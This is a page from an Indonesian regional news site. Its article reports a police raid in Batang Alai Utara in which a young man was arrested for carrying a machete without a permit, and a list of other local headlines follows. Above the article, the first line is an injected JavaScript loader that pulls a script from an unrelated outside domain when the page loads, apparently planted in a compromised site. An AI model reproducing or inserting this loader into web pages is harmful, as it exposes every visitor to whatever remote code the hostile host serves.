(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bawa Parang Tanpa Izin, Pemuda ini Dibawa ke Polsek Batang Alai Utara


BARABAI, Menciptakan situasi Kamtibmas kondusif, Polres HST terus gelar patroli dan razia di tempat yang dianggap rawan tindak kejahatan. Kali ini, Polsek Batang Alai Utara berhasil menangkap seorang pemuda yang membawa senjata tajam, Minggu (27/5) sekitar pukul 22.30 Wita.

Adalah MK (24) warga Desa Auh RT 003/002 Kecamatan Tebing Tinggi, Balangan, harus berurusan dengan petugas Polres HST karena membawa senjata tajam tanpa surat izin resmi.

“Kegiatan ini merupakan salah satu bentuk upaya dari Polsek jajaran dalam menciptakan situasi yang kondusif serta meminimalisir penyakit masyarakat di Kabupaten HST,” ungkap Kapolres AKBP Sabana Atmojo.

Penangkapan MK, bermula saat petugas dari Polsek Batang Alai Utara melaksanakan giat razia pekat di Desa Labung Anak, di sebuah warung malam. Saat melakukan pemeriksaan identitas dan dilanjutkan dengan penggeledahan badan, ternyata MK kedapatan membawa senjata tajam jenis parang. MK, terlihat petugas sedang menaruh parang ke tanah.

Saat ditanya tentang izin membawa senjata tajam oleh petugas, pelaku tidak bisa menunjukannya. Selanjutnya pelaku dan barang bukti diamankan ke Polsek Batang Alai Utara untuk proses hukum.

Dari tangan MK diamankan barang bukti sebilah senjata tajam jenis parang dengan panjang 45,5 Cm lebar 3,5 Cm, hulu terbuat dari kayu warna kuning dengan panjang 14 cm lengkap dengan kumpangnya.

MK dijerat dengan pasal 2 Ayat (1) Undang-Undang Darurat No. 12 Tahun 1951 karena telah melakukan tindak pidana tanpa hak membawa, memiliki, menyimpan dan menguasai senjata tajam tanpa izin dengan ancaman pidana penjara paling lama 10 tahun. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

15 menit ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

1 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

2 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

3 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

4 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

4 jam ago

This website uses cookies.